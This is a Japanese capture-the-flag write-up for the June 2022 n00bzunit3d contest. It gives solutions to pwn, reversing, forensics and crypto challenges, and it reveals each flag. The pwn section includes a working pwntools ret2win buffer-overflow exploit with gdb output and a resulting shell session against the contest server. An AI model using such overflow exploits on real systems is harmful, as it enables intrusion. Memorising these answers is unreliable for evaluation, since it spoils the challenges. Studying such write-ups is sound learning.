この大会は2022/6/4 22:00(JST)~2022/6/6 22:00(JST)に開催されました。
今回もチームで参戦。結果は1706点で305チーム中96位でした。
自分で解けた問題をWriteupとして書いておきます。
Basics 1 (Binary Exploitation)
Ghidraでデコンパイルする。
undefined8 main(void) { char local_98 [64]; undefined8 local_58; undefined8 local_50; undefined8 local_48; undefined8 local_40; undefined8 local_38; undefined8 local_30; undefined8 local_28; undefined8 local_20; undefined4 local_18; undefined2 local_14; undefined local_12; setup(); local_58 = 0x20656d6f636c6557; local_50 = 0x6320656874206f74; local_48 = 0x65676e656c6c6168; local_40 = 0x2073656972657320; local_38 = 0x636973616220666f; local_30 = 0x746e6920646e6120; local_28 = 0x65746164696d7265; local_20 = 0x6f4720216e777020; local_18 = 0x6c20646f; local_14 = 0x6375; local_12 = 0x6b; puts((char *)&local_58); fgets(local_98,0x100,stdin); return 0; } void win(void) { system("sh"); return; }
BOFでwin関数をコールすればよい。
$ gdb -q ./chall Reading symbols from ./chall...(no debugging symbols found)...done. gdb-peda$ pattc 200 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA' gdb-peda$ r Starting program: /mnt/hgfs/Shared/chall Welcome to the challenge series of basic and intermidate pwn! Good luck AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x7ffff7af2031 (<__GI___libc_read+17>: cmp rax,0xfffffffffffff000) RDX: 0x7ffff7dcf8d0 --> 0x0 RSI: 0x7fffffffdd70 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...) RDI: 0x0 RBP: 0x415341416f414152 ('RAAoAASA') RSP: 0x7fffffffde08 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n") RIP: 0x401215 (<main+195>: ret) R8 : 0x7ffff7dcf8c0 --> 0x0 R9 : 0x7ffff7fdd4c0 (0x00007ffff7fdd4c0) R10: 0x7ffff7fdd4c0 (0x00007ffff7fdd4c0) R11: 0x246 R12: 0x401070 (<_start>: xor ebp,ebp) R13: 0x7fffffffdee0 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x40120a <main+184>: call 0x401050 <fgets@plt> 0x40120f <main+189>: mov eax,0x0 0x401214 <main+194>: leave => 0x401215 <main+195>: ret 0x401216 <win>: push rbp 0x401217 <win+1>: mov rbp,rsp 0x40121a <win+4>: lea rdi,[rip+0xde3] # 0x402004 0x401221 <win+11>: mov eax,0x0 [------------------------------------stack-------------------------------------] 0000| 0x7fffffffde08 ("ApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n") 0008| 0x7fffffffde10 ("AAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n") 0016| 0x7fffffffde18 ("VAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n") 0024| 0x7fffffffde20 ("AuAAXAAvAAYAAwAAZAAxAAyA\n") 0032| 0x7fffffffde28 ("AAYAAwAAZAAxAAyA\n") 0040| 0x7fffffffde30 ("ZAAxAAyA\n") 0048| 0x7fffffffde38 --> 0x30b95dbf4eb8000a 0056| 0x7fffffffde40 --> 0x401070 (<_start>: xor ebp,ebp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000401215 in main () gdb-peda$ patto ApAATAAq ApAATAAq found at offset: 152 $ ROPgadget --binary chall | grep ": ret" 0x0000000000401016 : ret 0x0000000000401062 : retf 0x2f
#!/usr/bin/env python3 from pwn import * if len(sys.argv) == 1: p = remote('challs.n00bzunit3d.xyz', 32190) else: p = process('./chall') elf = ELF('./chall') win_addr = elf.symbols['win'] ret_addr = 0x401016 payload = b'A' * 152 payload += p64(ret_addr) payload += p64(win_addr) data = p.recvline().rstrip().decode() print(data) print(payload) p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to challs.n00bzunit3d.xyz on port 32190: Done [*] '/mnt/hgfs/Shared/chall' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Welcome to the challenge series of basic and intermidate pwn! Good luck b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x16\x10@\x00\x00\x00\x00\x00\x16\x12@\x00\x00\x00\x00\x00' [*] Switching to interactive mode $ ls chall flag.txt $ cat flag.txt n00bz{b4s1c_r3t_t0_w1n_f0r_7he_w1n!}
n00bz{b4s1c_r3t_t0_w1n_f0r_7he_w1n!}
xorxorxor (Reverse Engineering)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; byte local_28 [28]; int local_c; printf("Give me the flag: "); __isoc99_scanf(&DAT_00102017,local_28); for (local_c = 0; local_c < 0x17; local_c = local_c + 1) { local_28[local_c] = (byte)local_c ^ local_28[local_c]; } iVar1 = strcmp((char *)local_28,"n12a~~~7zV;xSyf<Os!``4k"); if (iVar1 == 0) { puts("Correct!"); } else { puts("Wrong!"); } return 0; }
入力とインデックス番号とのXORが"n12a~~~7zV;xSyf
#!/usr/bin/env python3 enc = 'n12a~~~7zV;xSyf<Os!``4k' flag = '' for i in range(len(enc)): flag += chr(ord(enc[i]) ^ i) print(flag)
n00bz{x0r_1s_th3_b3st!}
Sneaky Png (Forensics)
$ strings sneaky.png | grep n00bz n00bz{sn34ky_str1ngs_c0mm4nd5!}
n00bz{sn34ky_str1ngs_c0mm4nd5!}
tcpdump (Forensics)
No.5のパケットからpngのデータが流れている。
対象のデータを結合し、pngファイルとして保存する。
#!/usr/bin/env python3 from scapy.all import * packets = rdpcap('cap.pcap') flag = b'' for p in packets: if p.haslayer(IP) and p[IP].dst == '192.168.1.3' and p.haslayer(Raw): flag += p[Raw].load with open('flag.png', 'wb') as f: f.write(flag)
生成した画像を見ると、フラグが書いてあった。
n00bz{D1D_Y0U_GET_EVERYTH1NG_!?}
Playing with xor (Cryptography)
わかっている範囲でXORの鍵を割り出す。この鍵が繰り返されることを推測し、フラグを復号する。
#!/usr/bin/env python3 enc = b'_\x03\x03U\x11\x1e\t]\x07J\x06\x05\x02&F\x02G_4\x1dICl^\x07\x19V&]\x02X\x044\x15\x15\x05J\x02Y\x0c:\x0e\x00G[h\rT\x0b\x02N' flag_head = b'n00bz{p' key1 = b'' for i in range(len(flag_head)): key1 += bytes([flag_head[i] ^ enc[i]]) flag = '' for i in range(len(enc)): flag += chr(enc[i] ^ key1[i%len(key1)]) print(flag)
n00bz{pl4y1ng_w1th_x0r_m0r3_l1k3_pl4y1ng_w1th_f1r3}
RSA (Cryptography)
コードから以下のように算出されている。
s = pow(flag_int, d, n)
このことから以下を算出し、フラグを割り出せる。
flag_int = pow(s, e, n)
#!/usr/bin/env python3 from Crypto.Util.number import * ct = 68915718021581205938132340378 n = 22964326243465188806208175092817347325223751455203934839482603060029805229708465878030254819573089332477084079330445929855173787412006349904864930449245982063200060526847746608051441362052994064461426109292644943462306467765210530381760387813568149905672759271878822092979239650360475796179311415340966347044401497301347973838444826544061998479163636946750265778097717211762208385963205388216125639236403616607313423716206061201112615302831337395011064188536794425701313580122604533837935452384701344503773605128479669035610395170026350607423780797383865621285538151344219282466601404674101508588637419153433890102137 s = 6747770137526404810839680591618349902868945426501581276399132116507818856417271976886226143238796548185022079396435297411063351895882402872038955136430497260880818613647851713479263986391308789043197324119239260033630040630976512064481721240642729114116561261667588426398515959668695454587899042998666589705506998832917739337175589667828567571421541128057015371328723095841794613223799998429126797512729366352049800447550388154359724453576012916007310993864290045596969157854816882402679820492333445924724199994952395214639223249892224753494733720946542351810699104265693993026233289328344375145590992008664182919067 e = 65537 assert ct == 0xdeadbeefdeadbeefdeadbeef + 1337 + 1337 + 1337 flag_int = pow(s, e, n) flag = long_to_bytes(flag_int).decode() print(flag)
n00bz{pl34s3_s1gn_h3r3_4nd_h3r3_4nd_h3r3...}